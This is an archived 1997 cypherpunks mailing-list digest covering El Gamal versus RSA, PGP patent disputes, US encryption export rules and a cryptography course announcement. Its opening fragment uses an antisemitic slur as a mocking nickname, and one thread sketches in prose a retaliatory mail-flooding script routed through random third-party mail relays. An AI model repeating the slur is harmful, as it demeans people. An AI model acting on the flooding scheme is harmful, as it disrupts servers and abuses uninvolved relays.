What's El Gamal up to these days? I heard he used to work for Okidata
as a low-level manager and had to leave when both of his subordinates
resigned at the same time. :-) Is that true?

Why won't Sameer "Gas the Kikes" Parekh hire his fellow Arab?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 9 May 1997 10:47:34 +0800
To: cypherpunks@toad.com
Subject: Cryptography Short Course
Message-ID: <v03020980af983bd87543@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Thu, 8 May 1997 22:09:58 -0400 (EDT)
From: Christof Paar <christof@ece.WPI.EDU>
To: DCSB <dcsb@ai.mit.edu>
cc: Arlene Lowenstein <arlowenstein@jake.WPI.EDU>
Subject: Cryptography Short Course
MIME-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Christof Paar <christof@ece.WPI.EDU>


WPI's Continuing Education Program is offering a 5-day short course in
cryptography. I will be teaching the course from August 4-8, in Waltham.
Waltham is 10 miles West of Boston.

Please find below a detailed course description and a registration form.

If you have any question about course contents etc., please feel free to
contact me by email.

For questions regarding registration, contact Arlene Lowenstein at:
arlowenstein@jake.wpi.edu

Best regards,

Christof

*************************************************************************
Christof Paar                   http://ee.wpi.edu/People/faculty/cxp.html
Assistant Professor             email:  christof@ece.wpi.edu
Cryptography Group              phone:  (508) 831 5061
ECE Department, WPI             fax:    (508) 831 5491
100 Institute Road
Worcester, MA 01609, USA
*************************************************************************



-----------------------------------------------------------------------
           Worcester Polytechnic Institute
                 5-Day Short Course

        APPLIED CRYPTOGRAPHY AND DATA SECURITY

          Seminar Leader: Dr. Christof Paar


Many of today's information technology applications have data security
as a central system requirement. Applications such as wireless computer
networks, electronic commerce, and many www applications rely heavily
on a high degree of system security.

This five-day course will provide you with an in-depth introduction to
the field of applied cryptography. Virtually all important aspects of
public-key and private-key algorithms as well as protocols will be
introduced. The course keeps the theoretical background and technical
applications well-balanced. You will leave the course with a solid,
broad knowledge of state-of-the-arts cryptography. You will have skills
to carefully choose and design a security scheme for a given
application.

Background Note: The seminar is based on a highly successful course
which has been taught to more than 150 professionals in industry and
graduate students on campus.



                  COURSE OUTLINE

Day 1, AM - Introduction

Principles of cryptography. Classical algorithms. Attacks on
cryptographic systems.

Day 1, PM - Private-key algorithms

Stream ciphers. Pseudo-random generators. One-time pads.

Day 2, AM - Private-key algorithms

Data Encryption Standard (DES): Function, performance, implementation,
security. Overview on other modern block ciphers. Key length and
long-term security.

Day 2, PM - Usage of private key-algorithms

Operation modes of block ciphers. Multiple encryption. Key whitening.

Day 3, AM - Public-key cryptography

Introduction. One-way functions. Some number theory.

Day 3, PM - Public-key algorithms

RSA: Function, performance, implementation, security. Recent attacks.

Day 4, AM - Public-key algorithms

The generalized discrete logarithm problem. Diffie-Hellman key
exchange. ElGamal encryption. Elliptic curve cryptosystems.

Day 4, PM - Protocol building blocks

Digital Signatures. Hash Functions. Security Services: Privacy,
authentication, integrity, identification, non-repudiation.

Day 5, AM - Key distribution

Key distribution protocols. Principle of Kerberos. Certificates.
Trusted authorities.

Day 5, PM - Identification

Smart Cards. Principles of identification. Challenge-and-response
protocols. Course summary.


                  WHO SHOULD ATTEND

Engineers and other technical professional who develop, implement, or
assess information security applications in software or hardware.
Technical managers who need a solid understanding of data security
issues will also greatly benefit from the course.


                 ABOUT THE INSTRUCTOR

Dr. Christof Paar leads the Cryptography and Data Security group at WPI's
ECE Department. His research interests include security issues in wireless
and ATM networks, efficient algorithms for elliptic and hyperelliptic
curve systems, and hardware implementation of cryptosystems.


                 DATES AND LOCATIONS

August 4 - 8, 1997 in Waltham, MA (10 miles from Boston)


                  FEE

$1795 for first registration

$1625 for subsequent registrations


--------------------- print and cut here -----------------------------

           WPI CONTINUING EDUCATION REGISTRATION FORM

Please print out, complete, and return this form to

  Office of Continuing Education, WPI, Worcester, MA 01609-2280,
  call (508) 831-5517 or FAX this form to (508) 831-5694.

Make copies of this form for multiple registrations.


Title of Seminar: APPLIED CRYPTOGRAPHY AND DATA SECURITY

Date of Seminar: August 4-8, 1997, WPI Waltham Campus, Waltham, MA


Name (Mr.)(Ms.) ___________________________________________________

Title _____________________________________________________________

Organization ______________________________________________________

Business Address __________________________________________________

City _______________________________________

State ________ Zip _________________________

Business Phone  ____________________________

FAX  _____________________

Home Phone  ______________


Fee Enclosed (Make checks payable to WPI) ______

Bill my Company, P.O.# __________

Please charge my:     VISA   Mastercard   Discover

  Name on card ________________________________________________

  Exp. date _____________________

  Card # ______________________________________________________

  Signature ___________________________________________________




~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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In the body of the message, write:  unsubscribe dcsb
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Fri, 9 May 1997 11:13:27 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970508203058.0099c100@gateway.grumman.com>
Message-ID: <3.0.1.32.19970508230144.00947a40@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimitri Vulis wrote:
>Perhaps an activex program for w95 :-)

If I hadn't sworn to take my own life before I touched ActiveX, then I
might have considered that course of action.  :)  Instead, I'll leave it as
an exercise for the reader.

>I suggest you learn to filter your e-mail.

Actually, this account has adequate filters.  Unfortunately, my employer
chooses to use Exchange for mail, which has less than astonishing filtering
capability.  But I appreciate the inference as to my (lack of)
intelligence.  ;)

>You could also try an html form whose actions send mailto:your@enemy

Wouldn't work with all browsers, and can't get more than one at a time.

>He'll just filter out your site.

Which is why I originally suggested bypassing the normal sendmail route and
using straight sockets.  If he blocks my script from connecting directly to
his smtpd then I use a random smtpd somewhere as a go-between, routing it
to his smtpd.  He can't (won't) block them all.  Also, this is why I
recommended making the script small and portable: *anyone* could put it up
on their site.  He can't block everyone.

_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
A system without PERL is like a hockey game without a fight.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 9 May 1997 07:35:06 +0800
To: rah@shipwright.com
Subject: Re: Encryption--RSA v. PGP
In-Reply-To: <v03020954af97d5675cc5@[139.167.130.248]>
Message-ID: <199705082209.XAA01949@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Kevin Connolly <kconnolly@EVW.COM> writes on cyberia-l forwarded to cpunks:
> RSA Data Security, Inc. filed an action in the Superior Court of California,
> San Mateo County, against Pretty Good Privacy, Inc.  PGP has been
> claiming that its license to distribute RSA-based encryption software is
> based on a chain running from Public Key Partners to Viacrypt, Inc.  PGP
> acquired Viacrypt, Inc. in January 1996 and has been selling RSA-based
> encryption software for commercial use ever since.  The complaint, filed
> by Tomlinson Zisko Morosoli & Maser, alleges that PGP's license is
> derived from a license to Lemcom, which in turn has been terminated.
> 
> This might well mean the end of PGP.  

I don't think so.

PGP has been standardising on El Gamal which is not covered by RSA's
patents, for precisely the reason that RSA Inc has a bad record as a
litigious patent worker.  El Gamal is a variant of Diffie-Hellman, and
the patents on Diffie-Hellman are set to expire RSN (later this year,
Sept?)

There is still the putative claim by RSA that they have a blanket
patent covering `any public key system', but it sounds like they are
not relying on this claim here.

I think that the initial PGP products are using RSA, however I
understood PGP is moving to El Gamal, where RSA is due to be relegated
to a `for backwards compatibility only' feature.  This suit will maybe
accelerate this move away from RSA, and perhaps costs backwards
compatibility.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Fri, 9 May 1997 15:04:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Banking Secrecy and Nazi Gold
Message-ID: <3372C87B.4863@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

According to the archives, Tim May wrote:

> I suspect the U.S. pressure on Swiss banks has a political dimension
> related to forcing a New World Order on international banking. The
> U.S. wants banking secrecy subject to U.S. control (so that banks
> like Castle Bank, Nugan Hand Bank, Banco Ambrosiano, BCCI, and the
> Bank of America can continue to be used for U.S. interests, and
> only U.S. interests).

I think this is the first time I've ever said this about Tim, whom
I usually read first, but "That's nuts."

The political game is simple: The Wiesenthal Center and the World
Jewish Congress are in a pissing contest to see who can recover
the most cash. (There are two different class action lawsuits
going, one from each organization.) Senator Alphonse "I Love to
Make Noise" D'Amato is pandering. Some former members of the
intelligence community are involved, but that shouldn't be
surprising given the fact that they grew up as Nazi hunters.

In general I agree with Tim's argument and the mean (if not all the
details) of the followups, but I'd like to restress a few things:

1) The reason Jews used Swiss banks is precisely that they were
   secret, fercryingoutloud.

2) Sure, some banks took advantage of the power disparity (even if
   the victims had little guarantee that they'd be able to recover
   their assets, if they didn't squirrel them away soon they'd be
   sure to go to the Nazis). That makes them scum. But screwing
   with bank secrecy ain't the way to fix that Reputation Problem.

3) The reason governments and not just banks & individuals are
   involved is that some unclaimed deposits went to the government,
   which sent them off to Eastern Europe.

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQBVAwUBM3LIZpNcNyVVy0jxAQERfgIAiaOqRZrwRxyNWqRUo0ypLT4WDzawsdvB
VxiYN3E/nw5k9ZL7AUQQes2AJHS3tDaN086rflJ0GHUwg4TFA8Vsng==
=shYb
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 9 May 1997 19:56:09 +0800
To: cypherpunks@toad.com
Subject: EAR Revisions
Message-ID: <1.5.4.32.19970509113532.008952dc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


BXA has published in today's Federal Register a final
rule for revisions and clarifications to all Parts of the EAR. 
Encryption is affected.

   http://jya.com/ear050997.txt  (123K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 10 May 1997 00:56:52 +0800
To: cypherpunks@toad.com
Subject: Wine Politics Again!
Message-ID: <v0302098baf98c132e204@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: mcooley@pop.tiac.net
Date: Thu, 08 May 1997 22:25:28
To: dcsb@ai.mit.edu
From: Marianne Cooley <mcooley@nethorizons.com>
Subject: Wine Politics Again!
Mime-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Marianne Cooley <mcooley@nethorizons.com>

This one is not just an Internet message.  In fact, I should probably take
it to my marketing list ;)--but just to keep y'all up to date with the
latest commerce developments.

Marianne

forwarded message:
Hello friends of the Virtual Vineyards and family wineries. Remember the
felony direct shipping law in Georgia I wrote about a few weeks ago? Well,
Governor Miller signed it, unfortunately. Ship a bottle of wine, go to
jail. Amazing.

Here it is again, this time in Florida. The wholesale liquor lobby is
pushing a bill through the state houses making it a felony to ship a bottle
of wine to a Florida consumer. If you believe, as we do, that this is
unreasonable restraint of legitimate commerce, please register your
opposition directly with Governor Chiles. This is not just a Florida issue,
as other states are watching the development of such laws very closely. If
you have friends in Florida please pass this on to them and urge them to act
quickly. The bill will soon be on the governor's desk.

Here is a sample letter for Governor Chiles with several ways to contact
him. Personalize it if you wish, or send it as is:

E-Mail: chilesl@eog.state.fl.us
Fax:  904-487-0801
Phone:  904-488-4441

Governor Lawton Chiles
Office of the Governor
Florida State Capitol,
Talahassee, Florida  32399-0001

Dear Governor Chiles:

I call upon you to veto HB 725 (SB336), the felony direct shipment
bill. This bill is sponsored by the state's Liquor wholesalers in order to
protect their monopoly on wine sold to Florida consumers.  Out-of-state
sellers of wine support Florida Attorney General Butterworth's
counter-proposal, and are willing to register with Florida, pay state excise
and sales taxes and assure that all Florida laws protecting minors are
observed. If HB 725 becomes law, Florida wine consumers' choices of products
will be narrowly limited to the few wines represented by the Liquor
wholesalers and Florida itself will be making a statement that small family
winegrape growers and wineries in over 40 states deserve to go to jail, and
lose their farms and vineyards, if they ship a bottle of wine to a customer
who happens to reside in Florida.  HB 725 is hostile to consumers and
agriculture.

I urge you to use your veto.

Sincerely yours,

Peter D. Granoff, M.S./Virtual Vineyards
http://www.virtualvin.com
800-289-1275
415-938-9463
415-919-1977 fax
3803 East Bayshore Rd., Suite 175
Palo Alto, CA 94303



*********************************************************************

       Marianne Cooley            Internet Special Interest Group
       NetHorizons Unlimited      SigNet.org--where online users meet
       mcooley@nethorizons.com    http://www.signet.org
       617.433.0825

Join "Life at Internet Speed" on www.boston.com Wednesdays from 1-2pm!
For a chat topic reminder, send an email to majordomo@signet.org
and write "subscribe life" (no quotation marks) in the body of the message.

**********************************************************************


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
In the body of the message, write:  unsubscribe dcsb
Or, to subscribe,           write:  subscribe dcsb
If you have questions, write to me at Owner-DCSB@ai.mit.edu

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 9 May 1997 23:27:49 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.1.32.19970508230144.00947a40@gateway.grumman.com>
Message-ID: <FPRF7D57w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Rick Osborne <osborne@gateway.grumman.com> writes:

> >I suggest you learn to filter your e-mail.
>
> Actually, this account has adequate filters.  Unfortunately, my employer
> chooses to use Exchange for mail, which has less than astonishing filtering
> capability.  But I appreciate the inference as to my (lack of)
> intelligence.  ;)

Your lack of ethics, rather.  You choose to work for someone who chooses
to use inadequate Microsoft software, and you brandish these choices as
an excuse to interfere with somene's free speech.

> Which is why I originally suggested bypassing the normal sendmail route and
> using straight sockets.  If he blocks my script from connecting directly to
> his smtpd then I use a random smtpd somewhere as a go-between, routing it
> to his smtpd.  He can't (won't) block them all.  Also, this is why I
> recommended making the script small and portable: *anyone* could put it up
> on their site.  He can't block everyone.

Wallace hired some people who are very good (and you know how seldom I
characterize someone as being very good).  I'm fairly confident that
they will withstand whatever attacks these half-brained wannabe hackers
and anti-free-speech hooligans can invent.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 9 May 1997 17:59:14 +0800
To: harka@nycmetro.com
Subject: Re: El Gamal
In-Reply-To: <199705090000.UAA02189@linux.nycmetro.com>
Message-ID: <199705090726.IAA00747@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Harka <harka@nycmetro.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> wrote:
> >PGP has been standardising on El Gamal which is not covered by RSA's
> >patents, for precisely the reason that RSA Inc has a bad record as a
> >litigious patent worker.  El Gamal is a variant of Diffie-Hellman, 
> >and the patents on Diffie-Hellman are set to expire RSN (later this 
> >year, Sept?)
> 
> How does El Gamal compare functionally and security-wise to RSA and 
> who developed it?

Functionally: it provides both a digital signature method and an
assymetric encryption method.  They are not self-inverses as in RSA
(in RSA encrypt with secret key = signature, encrypt with public key =
assymetric encrypt; with El Gamal encrypt and sign are different
operations).  

Security: EG is based on the discrete log problem (being a variant of
Diffie-Hellman) where as RSA is based on the factoring problem.
Discrete log has about the same security for the same size keys.  El
Gamal encrypted blocks and signatures are twice the size as RSA
blocks, there is a 2x expansion.

If you don't mine a common prime modulus with EG, key generation
is fast (just generate a random number), RSA key generation is _slow_.

There is no separate patent on EG.  The D-H patent, which the patent
holders may argue covers EG, expires as I said RSN so the attraction
of EG is that it will then be unencumbered by patents.

El Gamal was developed by Taher El Gamal.

I don't see the advantage of EG encryption, D-H achieves the same
thing with the same security and it doesn't have message expansion.
There is a difference, with D-H you can't choose the session key
directly, it is negotiated and depends on the encryptors choice of
negotiation parameter and the recipients secret key.  However most
uses of public key encryption are only interested in exchanging or
negotating a symmetric key anyway, so D-H seems practical for this
purpose.  Is there any speed advantage with EG encryption?
 
EG signatures and D-H encryption?  You can share the prime modulus
public key parameter.

> >I think that the initial PGP products are using RSA, however I 
> >understood PGP is moving to El Gamal, where RSA is due to be 
> >relegated to a `for backwards compatibility only' feature. 
> 
> Is El Gamal used in the source for PGP 3.0?

I don't know, no one's exported the source to pgp3.0 in electronic
form, and I haven't seen the books either.  

PGP4.5 (which has been exported, was on ftp://ftp.replay.com last I
looked) seems to use RSA still.  It has the added functionality of a
windows front end, separate signing and encryption keys, and expiry
dates on keys.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Fri, 9 May 1997 23:52:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: El Gamal
Message-ID: <199705091530.IAA00261@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


The next version of PGP will offer the combination of El Gamal for
encryption and Digital Signature Standard (DSS) for signatures, as
an alternative to RSA.  These are based on the discrete log problem.

El Gamal is really almost the same as Diffie-Hellman.  You have a
secret x, he has a secret y, and together you calculate g^(xy) which
is your shared secret.  With DH you then just use that shared secret
as your message encryption key; with El Gamal you multiply (or xor,
or add...) your key with the shared secret.  PGP uses El Gamal so that
we can send along not only key info but also which algorithm to use for
the message body encryption, and also a checksum.

It is true that El Gamal encrypted messages will be about 128 bytes bigger
than RSA for 1024 bit keys.  DSS on the other hand produces somewhat
smaller signatures than RSA, by about 85-90 bytes.  But neither of these
is really significant in typical applications.

The Diffie-Hellman patent expires September 6, 1997.  I gather that it
would also cover El Gamal since that is a variant.  The Hellman-Merkle
"knapsack" patent, which claims to cover all public key cryptography,
expires October 6, 1997.  After that date, at least some forms of public
key cryptography will be unpatented in the U.S.  The RSA patent expires
September 20, 2000.  It is possible that the next three years will see
greater use of discrete log cryptography because of the patent state,
although RSA has a significant "brand" advantage in the business market.
(This patent info is from "Handbook of Applied Cryptography", from
Menezes et al, which I recommend as a supplement to Schneier.)

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 9 May 1997 21:51:41 +0800
To: cypherpunks@toad.com
Subject: "constructive" possession of a gun
Message-ID: <199705091336.IAA30148@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Senate Judiciary Committe -- 08 May 1997

Well the JackBoots are at it again.

Under current Federal Law 5yrs can be tacked on to a criminal sentance if a
gun is used in the commision of a crime. Now they have a new twist to add:
"constructive" possession of a gun during the commision of a crime.

Now what does "constructive" possession mean?

Well according to those who testified from the various depts of the
Excutive Branch it means that a gun happens to be in the area, or the
potential to use a gun or if you recoment that someone else use a gun
durring the commission of a crime even though the weapon was never used.

Some examples given:

If durring the planning of a bank robbery you recomend that a gun be used
durring the robbery even though you did not use the weapon or was not even
present durring the robbery you could still get the extra 5yrs.

If durring a drug deal taking place in the back seat of a car there is a
gun under the front seat of the car you would still get the extra 5yrs even
though the the gun was never used.

If durring a drug raid on your home and a gun is found anywhere in the
house, yes you would be elegible for the extra 60 months.

<sigh> why do they even pretend to be running a constitutional government?

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: "640K ought to be enough for anybody." - Bill Gates, 1981

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3KQGo9Co1n+aLhhAQEHkAQAtBlcEtyXzRNKKI7HtEx0H1glMGmlzN+8
cQD91dlgHhNbN24C5Ixq+hDBvBYWTs0yUY8fHOIgMo5HqQWRr4VMG2yrfcM42vyH
LuhKuldAYem4mKWoEm4wl0LYTxn18r0w/4f5NCT3VN+7aTrrme6QjYkN7BXNr6lU
Mxd1YGeAFzM=
=ZpFe
-----END PGP SIGNATURE-----
 
Tag-O-Matic: OS/2 means...CURTAINS for Windows!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Sat, 10 May 1997 12:23:40 +0800
To: Lucky Green <cypherpunks@toad.com>
Subject: Re: FCPUNX:List of GAK supporters
Message-ID: <199705100410.VAA11324@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:01 PM 5/7/97 -0700, Lucky Green wrote:
> Below is a list of the members of the "Key Recovery Alliance" who are 
> working hard to make the world safe for GAK.

Strikingly absent from the list are Microsoft, Netscape, and Intel.

Strikingly present on the list is RSA and McAfee.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Fri, 9 May 1997 21:48:31 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: El Gamal
Message-ID: <CMM.0.90.4.863184177.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain


>> Is El Gamal used in the source for PGP 3.0?
>
>I don't know, no one's exported the source to pgp3.0 in electronic
>form, and I haven't seen the books either.  

I have the books; ElGamal is indeed one of the algorithms in use
in the 3.0 pre-alpha code.

Ariel Glenn / AcIS R&D / Columbia University
ariel@columbia.edu
#include <stddisclaimer.h>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Fri, 9 May 1997 21:45:44 +0800
To: cypherpunks@cyberpass.net
Subject: nyt coverage of 'new' US export policy
Message-ID: <CMM.0.90.4.863184618.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain


   
      May 9, 1997
      
     
U.S. To Ease Rules on Export
Of Finance Encryption Technology

      By JOHN MARKOFF
      
                                      
    G iving ground on the Clinton administration's computer-data privacy
    policy, the Commerce Department said Thursday that it would begin in
      some cases to allow export of the most powerful data-scrambling
        technologies when used for securing financial transactions.
                                      
   The move departs from previous export policy, which had allowed export
      of the U.S. computer industry's most powerful privacy-protection
    software and hardware only if the technology enabled law-enforcement
    officials to obtain copies of the mathematical keys needed to break
     the codes. The revised policy would require no such code-breaking
      proviso in the case of certain types of financial transactions.
                                      
      Besides international funds transfers between banks, permissible
         applications under the new policy are expected to include
       privacy-protected home-banking software for banks to offer to
    customers worldwide. The new policy would also apply to a technology
    known as the Secure Electronic Transaction standard, which has been
    developed by Mastercard and Visa to permit consumers to send credit
               card information to merchants electronically.
                                      
   Computer-data scrambling, or cryptography, is widely seen as the most
       crucial technology underlying a wide range of new computerized
         communications and commerce applications. But the Clinton
   administration, as did the Bush administration, has limited export of
   the most powerful U.S. encryption technology, for fear it would enable
   foreign criminals or terrorists to conspire with electronic impunity.
                                      
   Privacy-rights advocates have opposed the government's policy, fearing
    Big Brother intrusiveness if law-enforcement officials could obtain
         code keys. And industry officials have argued that because
    data-scrambling technology is already widely available overseas, the
      export laws have forced U.S. companies to miss out on a thriving
                              foreign market.
                                      
     Banks and other financial institutions, meanwhile, have complained
       that the policies made it difficult to insure the security of
      electronic-funds transfers between the United States and foreign
                                 countries.
                                      
         But word of the new rules drew concern from critics of the
      administration's data-scrambling policies, who said the banking
             industry would receive unfair business advantages.
                                      
    "There is a danger of creating a cartel-like environment that gives
      banks advantages over many of the current leaders in electronic
   commerce," said Laurie Fena, the executive director of the Electronic
        Frontier Foundation, a public policy group in San Francisco.
                                      
   Historically, U.S. banking and financial institutions have been given
    special exemptions to export data-scrambling equipment based on the
   20-year-old Data Encryption Standard. But the big increase in computer
       processing power in recent years has made that standard appear
   increasingly vulnerable, and the government has been under pressure to
      permit the export of strong encryption technology for financial
                                 purposes.
                                      
    Administration officials said the new rules would be published soon.
       Until then, it is unclear whether the definition of financial
      institutions and transactions may now be broad enough to include
   software makers like Netscape Communications Corp., which produces the
    most popular software for navigating the Internet's World Wide Web.
     _________________________________________________________________
                                      
                              Related Articles
                    IBM Announces New Encryption Formula
                                (May 7,1997)
                                      
             U.S. Restrictions Give European Encryption a Boost
                               (April 7,1997)
     _________________________________________________________________
                                      
     Netscape's software has a component for insuring secure financial
      transactions; but under current export law, that ability must be
      weakened or disabled when its Web-navigating software is shipped
                                 overseas.
                                      
   "It's very heartening to see the administration finally admitting that
    there are products overseas that are cutting into our markets," said
       Peter Harter, the lawyer in charge of global public policy for
    Netscape. "It's unfortunate to have to watch this happening from the
                             back of the bus."
                                      
                                      
            Home | Sections | Contents | Search | Forums | Help
                                      
                 Copyright 1997 The New York Times Company
                                      
     _________________________________________________________________
                                      
                                      
                              IBM WWWDirectory





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Fri, 9 May 1997 22:05:41 +0800
To: cypherpunks@cyberpass.net
Subject: Wired coverage of 'new' admin rules
Message-ID: <CMM.0.90.4.863185325.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain


Quite a different spin on it in this article...

----


   Banks' Crypto Permit Not as Free as It Looks
   by Kristi Coale
   
   6:12pm  8.May.97.PDT When the Commerce Department on Thursday gave its
   blessing to the export of the strongest available encryption products
   for electronic banking and finance, the Clinton administration wasn't
   really giving any ground on its stance on key recovery.
   
   That's because the likely customers for these products - banks and
   financial institutions - are already subject to tough rules when it
   comes to tracking transactions and accounts to individuals. And these
   institutions are legally bound to share this information with the
   authorities.
   
   Given the scope of current regulation, the Commerce Department's key
   recovery requirement would only be duplicative, a department
   spokesperson said.
   
   That's why banks have been allowed to export government-approved Data
   Encryption Standard technology since the early 1980s. And that's why
   they'll now be able to use stronger encryption to secure transactions,
   including account and credit card numbers. The government standard has
   a fixed-key length of 56 bits; encryption being readied for electronic
   commerce such as Secure Electronic Transaction can have keys of 1,024
   bits and longer. It is assumed that it would take years and enormous
   computing power to crack the longer keys.
   
   In remarks Thursday before a Washington gathering of the American
   Bankers Association, Undersecretary William Reinsch outlined the plan
   which gives banks the ability to export direct-home-banking products
   with encryption keys of unlimited length. However, if a commercial
   software company - and not the bank - develops the banking product,
   the program must meet the administration's requirement for a
   key-recovery plan.
   
   Key recovery provides a "back door" that allows third parties to open
   and read electronic transmissions such as email. Under the
   administration's plan, these keys would be stored with
   government-sanctioned escrow agents such as Trusted Information
   Systems, a computer security firm, or Bankers Trust, a bank holding
   company. With these keys, police, prosecutors, and spy agencies with
   court orders can get access to any message or document.
   
   But privacy advocates distrust this system. To organizations like the
   Electronic Privacy Information Center, key recovery is no different
   from the administration's plans for government access under the failed
   Clipper initiatives.
   
   And given the current level of regulation, exempting the financial
   institutions from the key-recovery requirements represents a mere "fig
   leaf of a concession" on administration policy, said Dave Banisar,
   EPIC staff counsel.
   
   Developers have their own concerns about the Commerce Department
   announcement - namely, that by telling companies seeking to sell
   electronic commerce software to banks that they must include key
   escrow in their products, the administration is playing to prominent a
   role in the process.
   
   Companies such as Hewlett-Packard which support key escrow prefer to
   implement it in products where it makes business sense for them to do
   so, said Fred Mailman, the company's regulatory manager. Mailman is
   worried that the door may now be open for the government to tell
   companies what product families will have key recovery instead of the
   companies choosing themselves.
   
   While companies sort this out, the pressure on the industry to
   capitulate to the administration's key recovery plan increases,
   Mailman said.
   
   
   
   Related Wired Links:
   Netscape's Key Recovery: That's Business
   by Michael Stutz
   
   Law and Order and a Crypto Bill
   by Rebecca Vesely
   
   Andreessen: Market, Not Policy, Pushes Crypto
   by Michael Stutz
   
   arrow
   
   [INLINE]
   Find Read a story in the Wired News archive.
   Feedback Let us know how we're doing.
   Tips Have a story or tip for Wired News? Send it.

   
   
        Copyright ) 1993-97 Wired Ventures, Inc. and affiliated companies.
        All rights reserved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
